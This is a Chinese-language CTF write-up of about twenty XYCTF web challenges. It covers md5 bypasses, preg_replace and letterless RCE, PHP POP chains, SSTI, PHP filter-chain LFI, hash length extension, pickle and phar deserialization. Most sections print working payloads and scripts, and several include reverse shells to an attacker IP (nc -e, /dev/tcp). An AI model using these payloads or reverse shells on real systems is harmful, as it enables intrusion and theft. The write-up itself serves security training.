XYCTF - web

目录

warm up

ezMake

ezhttp

ezmd5

牢牢记住,逝者为大

ezPOP

我是一个复读机

ezSerialize

第一关

第二关

第三关

第一种方法:

第二种方法:

ez?Make

方法一:利用反弹shell

方法二:通过进制编码绕过

εZ?¿м@Kε¿?

ezRCE

ezClass

方法一:SplFileObject读取文件

方法二 : Error的getMessage

ezLFI

连连看到底是连连什么看

give me flag

login

pharme


有些是比赛的时候写的,大部分是赛后看wp复现的

warm up

<?phpinclude 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);

if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {
    echo "ez" . "<br>";
} else {
    die("什么情况,这么基础的md5做不来");
}

if (isset($md5) && $md5 == md5($md5)) {
    echo "ezez" . "<br data-tomark-pass>";
} else {
    die("什么情况,这么基础的md5做不来");
}

if ($XY == $XYCTF) {
    if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {
        echo $level2;
    } else {
        die("什么情况,这么基础的md5做不来");
    }
} else {
    die("学这么久,传参不会传?");
}


md5($_GET['val1']) == md5($_GET['val2'])) : md5弱比较,数组绕过
md5==md5(md5 == md5(md5==md5(md5) : 双md5
extract() : 可以变量覆盖
XYCTF_550102591 : md5值为 0e937920457786991080577371025051
s1502113478a:md5值为 0e861580163291561247404381396064

GET 传参:
?val1[]=1&val2[]=2&md5=0e00275209979&XY=s1502113478a&XYCTF=s1502113478a

到第二关 LLeeevvveeelll222.php

<?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {
    echo "操作你O.o";
    echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']);  // 我可不会像别人一样设置10来个level
} else {
    die("有点汗流浃背");
}

intval参数如果是有内容的数组返回1
post 传参: a[]=1

preg_replace的RCE:/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码

?a=/test/e&b=system("cat /flag")&c=just test
直接得到flag : XYCTF{0b8c5ae7-22e3-4ef2-9d4a-d48d5a461c7c}

ezMake

语法问题:
echo $(shell cat f*)
或者
$(shell cat f*)

直接访问 /flag 可以下载附件存在flag
(目录扫描)

ezhttp

爆破:
用户名:XYCTF
密码:@JOILha!wuigqi123$

仿造http头
User-Agent: XYCTF
Referer: yuanshen.com
Client-IP:127.0.0.1
Connection: keep-alive
Via: ymzx.qq.com
Cookie: XYCTF

ezmd5

网上直接找两张MD5值相同的图片提交,就可以得到flag


牢牢记住,逝者为大

绕过前面的 # : 使用换行符的url编码 %0a ,使后面 cmd GET传参的命令可以正常执行
再使用 ; #闭合 注释掉后面 的 ,mamba out" 要不然总会报错

过滤了好多东西,又有长度限制,
尝试了蛮久的,都不行,不晓得中间要写什么命令了

?cmd=%0a ;%23

看完wp后,中间写上

`$_GET[1]`   绕过长度限制

这个长度为13是卡得正正好啊,写的时候用的 $_POST[1] ,长度超了,就放弃了,还真就没想到 $_GET[1]

?cmd=%0a`$_GET[1]`;%23&1=cp /flag 1.txt
(将flag文件里面的内容复制到 1.txt里面去,直接访问1.txt 得到flag)
(不能 cat /flag  转八进制,试了好久,不晓得为啥)
转成八进制
?cmd=%0a`$_GET[1]`;%23&1=$'\143\160'+$'\57\146\154\141\147'+$'\61\56\164\170\164'
 然后直接访问1.txt ,拿到flag
 
 这道题看其他人的wp, 是可以去反弹shell的
 ?cmd=%0a`$_GET[1]`;%23&1=nc ip 端口 -e /bi''n/sh

ezPOP

<?php

highlight_file(__FILE__);
class AAA{
    public $s;
    public $a;
    public function __toString()
    {
        echo "you get 2 A <br>";
        $p = $this->a;
        return $this->s->$p;
    }
}

class BBB{
    public $c;
    public $d;
    public function __get($name)
    {
        echo "you get 2 B <br data-tomark-pass>";
        $a=$_POST['a'];
        $b=$_POST;
        $c=$this->c;
        $d=$this->d;
        if (isset($b['a'])) {
            unset($b['a']);
        }
        call_user_func($a,$b)($c)($d);
    }
}
class CCC{
    public $c;

    public function __destruct()
    {
        echo "you get 2 C <br data-tomark-pass>";
        echo $this->c;
    }
}

if(isset($_GET['xy'])) {
    $a = unserialize($_GET['xy']);
    throw new Exception("noooooob!!!");
}

// pop链//CCC类-__destruct --> AAA类-__toString-->BBB类-__get -->call_user_func( , )()()

//POST传参 : a=implode  b=system// implode() :将数组的值拼接为一个字符串 ; b是一个数组参数

$a=new CCC();
$a->c=new AAA();
$a->c->s=new BBB();
$a->c->s->c='ls /';
$a->c->s->d='hello';
//d随便填, system("ls")("hello")不影响命令执行

$b=array($a,0);  //绕过throw ,最后还需要将 i:1 --> i:0

echo serialize($b);
//a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:4:"ls /";s:1:"d";s:5:"hello";}s:1:"a";N;}}i:1;i:0;}

//a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:4:"ls /";s:1:"d";s:5:"hello";}s:1:"a";N;}}i:0;i:0;}


//XYCTF{28f226e7-a5a7-485d-972e-4c58d8abbb3e}

我是一个复读机

username : admin
密码:asdqwe

关键在于要有中文,还是一个中文一个{},两个中文就是{{}},三个中文又是{},做题的时候就是卡在这里了,题目说了只是一个会说英文的复读机,之前还真就没去试过中文,直接就放弃了

不然 {{}} 和 {%%}都被过滤了,无法ssti注入
直接使用 request

payload:
离谱(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag

//XYCTF{3c468048-beb9-409f-8a0a-ffb8dfbdc940}

ezSerialize

第一关

第一步:&符号的运用,直接传参
?pop=O:4:"Flag":2:{s:5:"token";i:1;s:8:"password";R:2;}

结果:
fpclosefpclosefpcloseffflllaaaggg.php

第二关
<?php
highlight_file(__FILE__);
class A {
    public $mack;
    public function __invoke()
    {
        $this->mack->nonExistentMethod();
    }
}

class B {
    public $luo;
    public function __get($key){
        echo "o.O<br>";
        $function = $this->luo;
        return $function();
    }
}

class C {
    public $wang1;

    public function __call($wang1,$wang2)
    {
        include 'flag.php';
        echo $flag2;
    }
}


class D {
    public $lao;
    public $chen;
    public function __toString(){
        echo "O.o<br data-tomark-pass>";
        return is_null($this->lao->chen) ? "" : $this->lao->chen;
    }
}

class E {
    public $name = "xxxxx";
    public $num;

    public function __unserialize($data)
    {
        echo "<br data-tomark-pass>学到就是赚到!<br data-tomark-pass>";
        echo $data['num'];
    }
    public function __wakeup(){
        if($this->name!='' || $this->num!=''){
            echo "旅行者别忘记旅行的意义!<br data-tomark-pass>";
        }
    }
}

if (isset($_POST['pop'])) {
    unserialize($_POST['pop']);
}

$a=new E();
$a->num=new D();
$a->name='';
$a->num->lao=new B();
$a->num->lao->luo=new A();
$a->num->lao->luo->mack=new C();
echo serialize($a);
//O:1:"E":2:{s:4:"name";s:0:"";s:3:"num";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}}


//开始就是 没有$a->name=''; 这一步,导致一直不能执行成功,一直卡着

然后又进入到下一关:saber_master_saber_master.php

第三关
<?php

error_reporting(0);
highlight_file(__FILE__);

// flag.phpclass XYCTFNO1{
    public $Liu;
    public $T1ng;
    private $upsw1ng;

    public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
    {
        $this->Liu = $Liu;
        $this->T1ng = $T1ng;
        $this->upsw1ng = $upsw1ng;
    }
}

class XYCTFNO2{
    public $crypto0;
    public $adwa;

    public function __construct($crypto0, $adwa)
    {
        $this->crypto0 = $crypto0;
    }

    public function XYCTF()
    {
        if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
            return False;
        } else {
            return True;
        }
    }
}

class XYCTFNO3{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "Crypto0";

    public function __construct($KickyMu, $fpclose)
    {
        $this->KickyMu = $KickyMu;
        $this->fpclose = $fpclose;
    }

    public function XY()
    {
        if ($this->N1ght == 'oSthing') {
            echo "WOW, You web is really good!!!\n";
            echo new $_POST['X']($_POST['Y']);
        }
    }

    public function __wakeup()
    {
        if ($this->KickyMu->XYCTF()) {
            $this->XY();
        }
    }
}


if (isset($_GET['CTF'])) {
    unserialize($_GET['CTF']);
}
第一种方法:

在类里面做一些相应的更改
关键点绕过 if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258')
直接在 XYCTFNO1 类里面添加属性$crypto0, 再更改相应的__construct 赋值
在 XYCTFNO3 类里面直接给 $N1ght = "oSthing" 赋值
最后利用到 new $_POST['X']($_POST['Y']); ,使用 SplFileObject 读取文件flag.php
post传参 :X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php
(直接读flag.php 没有回显,所以使用伪协议)

<?php// flag.phpclass XYCTFNO1{
    public $Liu;
    public $T1ng;
    private $upsw1ng;
    public  $crypto0;

    public function __construct($T1ng, $crypto0)
    {
        $this->T1ng = $T1ng;
        $this->crypto0=$crypto0;
    }
}

class XYCTFNO2{
    public $crypto0;
    public $adwa;

    public function __construct($crypto0, $adwa)
    {
        $this->crypto0 = $crypto0;
        $this->adwa=$adwa;
    }

}

class XYCTFNO3{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "oSthing";

    public function __construct($KickyMu, $fpclose)
    {
        $this->KickyMu = $KickyMu;
        $this->fpclose = $fpclose;
    }

}


$a = new XYCTFNO3(new XYCTFNO2('dev1l',new XYCTFNO1('yuroandCMD258','dev1l')),1);
echo serialize($a);
//O:8:"XYCTFNO3":3:{s:7:"KickyMu";O:8:"XYCTFNO2":2:{s:7:"crypto0";s:5:"dev1l";s:4:"adwa";O:8:"XYCTFNO1":4:{s:3:"Liu";N;s:4:"T1ng";s:13:"yuroandCMD258";s:17:" XYCTFNO1 upsw1ng";N;s:7:"crypto0";s:5:"dev1l";}}s:7:"fpclose";i:1;s:5:"N1ght";s:7:"oSthing";}




第二种方法:

利用 stdClass() 类,实例化直接赋值 $crypto0 = 'dev1l' , $T1ng = 'yuroandCMD258'
post传参依旧是 X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php 读取文件

<?php

// flag.phpclass XYCTFNO1{
    public $Liu;
    public $T1ng;
    private $upsw1ng;
}

class XYCTFNO2{
    public $crypto0;
    public $adwa;
}

class XYCTFNO3{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "Crypto0";
}

if (isset($_GET['CTF'])) {
    unserialize($_GET['CTF']);
}

$a=new XYCTFNO3();
$a->N1ght='oSthing';
$a->KickyMu=new XYCTFNO2();
$a->KickyMu->adwa=new stdClass();
$a->KickyMu->adwa->crypto0='dev1l';
$a->KickyMu->adwa->T1ng='yuroandCMD258';

echo serialize($a);
//O:8:"XYCTFNO3":3:{s:7:"KickyMu";O:8:"XYCTFNO2":2:{s:7:"crypto0";N;s:4:"adwa";O:8:"stdClass":2:{s:7:"crypto0";s:5:"dev1l";s:4:"T1ng";s:13:"yuroandCMD258";}}s:7:"fpclose";N;s:5:"N1ght";s:7:"oSthing";}

ez?Make

方法一:利用反弹shell
`nc ip 端口 -e sh`

之前一直没能够复现成功,结果竟然是端口的问题,用80端口就可以连接,用其他的端口就连接不了,有点奇怪,我明明把所有的端口都打开了啊,有点不能理解,浪费几个小时

方法二:通过进制编码绕过
`echo 636174202F666c6167 | xxd -r -p`

前面的十六进制表示 cat /flag  , 通过 反引号执行 ` ` 
(因为f被过滤了,将f大写绕过,不影响命令执行)

xxd 是一个用于在十六进制和二进制之间进行转换的工具。-r 选项告诉 xxd 将十六进制输入转换为二进制输出(即“reverse”或“reconstruct”)。-p 选项表示输入是纯十六进制(没有地址、偏移或其他信息)

echo 输出十六进制字符串 636174202F666c6167。
通过管道 |,这个输出被传递给 xxd 命令。
xxd -r -p 将这个十六进制字符串转换为它的二进制表示,并输出相应的ASCII字符。

//XYCTF{1d61fce7-42f1-4f55-85a8-fdf1fea48cc5}

εZ?¿м@Kε¿?

(看着wp写,也是有点没看懂,简单记录一下)
主要也是学到了 , $() 能够执行命令, < 能够将东西输入到命令中
makefile的特定语法需要 $$

 

ezRCE

<?php
highlight_file(__FILE__);
function waf($cmd){
    $white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<']; 
    $cmd_char = str_split($cmd);
    foreach($cmd_char as $char){
        if (!in_array($char, $white_list)){
            die("really ez?");
        }
    }
    return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);

无字母RCE
Linux终端可以通过 $'\xxx' 的方式执行命令,xxx是字符ascii码的八进制形式
$'\154\163' ==> ls 可以执行
但是 $'\154\163\40\57' ==> ls / 无法执行,会被解析成字符串,无法执行命令
所以就需要用到 <<< 在Linux中,“<<<”是一个称为"Here String"的特殊操作符。它的作用是将字符串的内容作为输入传递给命令
以及 $0 相当与bash

所以 0<<<0<<<0<<<'\154\163\40\57' 就可以执行命令了

?cmd=0<<<0<<<0<<<'\143\141\164\40\57\146\154\141\147' ==> cat /flag 拿到flag

XYCTF{29b04a5d-c92f-436f-8ea4-6bf693f317de}

ezClass

<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$aa=$_GET['aa'];
$b=$_GET['b'];
$bb=$_GET['bb'];
$c=$_GET['c'];
((new $a($aa))->$c())((new $b($bb))->$c());
方法一:SplFileObject读取文件

SplFileObject 加上 php伪协议 读取文件 , 调用__toString() 方法得到字符串

get传参:
a=new SplFileObject
aa=php://filter/read=convert.base64-encode/resource=/flag
c=__toString

解密:XYCTF{9801dabe-6702-4f4e-91d5-1d1f4ce2c684}

这是直接猜在根目录下有一个flag文件,要是把flag文件换个名,就需要读取目录了,但网上搜了一下读目录的
DirectoryIterator类 + glob://协议 遍历目录,但没能成功,读不到目录,可能不适合这道题或者我哪里搞错了,有点懵

方法二 : Error的getMessage
<?php
$a=new Error("system");
echo $a->getMessage();

//可以输出system

所以get传参

?a=Error&aa=system&b=Error&bb=cat /flag&c=getMessage

ezLFI

在index.php中可以看到代码
<?php include_once($_REQUEST['file']);

直接现成的脚本,把地址写上去,直接输出了flag
(这道题之前倒是做过类似的,绕过 include_once(); ,但是原理方面不太理解)

import requests

url = "http://gz.imxbt.cn:20208/"
file_to_use = "/etc/passwd"
command = "/readflag"

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
    "0": command,
    "action": "include",
    "file": final_payload
})

print(r.text)

#XYCTF{878ce487-4b88-4683-ae70-7cfd8af42803}

连连看到底是连连什么看

打开index.php文件

进入到what's_this.php

<?php
highlight_file(__FILE__);
error_reporting(0);

$p=$_GET['p'];

if(preg_match("/http|=|php|file|:|\/|\?/i", $p))
{
    die("waf!");
}

$payload="php://filter/$p/resource=/etc/passwd";

if(file_get_contents($payload)==="XYCTF"){
    echo file_get_contents('/flag');
}

https://github.com/synacktiv/php_filter_chain_generator

需要用伪协议构造一个 XYCTF
用这个项目,运行生成

第一种方法:
需要将XYCTF进行几次 base64编码
命令:
python php_filter_chain_generator.py --chain 'Vm1wQ1lXTXhTa2RYYTFwWVZWRQ'


Vm1wQ1lXTXhTa2RYYTFwWVZWRQ  ---> XYCTF (5次base64解码)

但是 XYCTF 五次 base64编码只能得到  -->   Vm1wQ1lXTXhTa2RYYTFwWVZrUkJPUT09
用这个去运行的话却不能得到flag(感觉不应该啊),刚开始没注意一直弄不出来,也不知道 Vm1wQ1lXTXhTa2RYYTFwWVZWRQ 是怎么来的
不过 Vm1wQ1lXTXhTa2RYYTFwWVZr 就可以base64解码成 XYCTF 
(先暂时放着)


第二种方法:
python3 php_filter_chain_generator.py --chain 'XYCTF<'

然后复制下payload之后,使用string.strip_tags过滤器绕过
strip_tags :从字符串中去除 HTML 和 PHP 标签

得到的结果还需要进行解码,编码了几次就需要解码几次

payload:

?p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode

XYCTF{5f9e48b3-7851-41c0-aa56-c0a746784199}

give me flag

<?phpinclude('flag.php');
$FLAG_md5 = md5($FLAG);
if(!isset($_GET['md5']) || !isset($_GET['value']))
{
    highlight_file(__FILE__);
    die($FLAG_md5);
}

$value = $_GET['value'];
$md5 = $_GET['md5'];
$time = time();

if(md5($FLAG.$value.$time)===$md5)
{
    echo "yes, give you flag: ";
    echo $FLAG;
}
a3a9ab37346c02e4a88deae16415f4c3

考察hash长度扩展攻击
文章:https://err0rzz.github.io/2017/09/18/hash%E9%95%BF%E5%BA%A6%E6%89%A9%E5%B1%95%E6%94%BB%E5%87%BB/
https://www.cnblogs.com/yunen/p/13624595.html

利用工具:https://github.com/shellfeel/hash-ext-attack?tab=readme-ov-file

扩展字符输入的是一个未来的时间戳,就是未来几分钟的
密钥长度就是 flag 的长度,flag长度是固定的

payload:
?value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00&md5=979a816bd7b50f44ba4113655f68e2c4

value 的值是新明文去掉后面的时间戳,因为题目  $FLAG.$value.$time  已经是把时间戳加上去的
md5 的值就是新生成的hash,

再写一个简单的脚本不断的请求,当时间接近我们输入的时间戳,就可以得到flag

import requests

url='http://gz.imxbt.cn:20249/?value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00&md5=979a816bd7b50f44ba4113655f68e2c4'

while True:
    res=requests.get(url=url)
    if "{" in res.text:
        print(res.text)
        break

XYCTF{c22d49e0-728d-4b84-a43c-33b6a4dd3b1d}

login

打开网站是一个登录的界面,目录扫描可以扫描出 /register.php

注册一个账号再登录,可以在cookie里面找到一个 RememberMe

base64解码一下 ,有登录的 用户名和密码 的信息

python的pickle反序列化 ,反弹shell

import base64
a = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/[ip]/80 0>&1"'
o.
'''
print(base64.b64encode(a))

#     c  获取一个全局对象或import一个模块    写法:  c[module]\n[instance]\n    获得的对象入栈#    S       实例化一个字符串对象    写法:S'xxx'\n(也可以使用双引号、\'等python字符串形式)   获得的对象入栈#    (       向栈中压入一个MARK标记       MARK标记入栈#    o       寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)   这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈

pharme

查看源码,class.php, 访问

<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
    public $cmd;
    public $a;
    public function __destruct(){
        if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
            eval($this->cmd.'isbigvegetablechicken!');
        } else {
            echo 'nonono';
        }
    }
}

if(isset($_POST['file']))
{
    if(preg_match('/^phar:\/\//i',$_POST['file']))
    {
        die("nonono");
    }
    file_get_contents($_POST['file']);
}

if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))) 表明无参数rce

eval($this->cmd.'isbigvegetablechicken!') 使用halt_compiler()绕过 ,去中断编译执行使其后面的字符不被解析

if(preg_match('/^phar:\/\//i',$_POST['file'])) 使用php伪协议绕过

构造phar包,使用gzip命令压缩上传,再改后缀为 png , 上传
http请求 在最后一个请求加上 SS:system(cat /flag); 执行命令
post传参:file=php://filter/convert.base64-encode/resource=phar:///tmp/fb5c81ed3a220004b71069645f112867.png

<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
    public $cmd;
}

$a=new evil();
$a->cmd='eval(end(getallheaders()));__helt_compiler();';
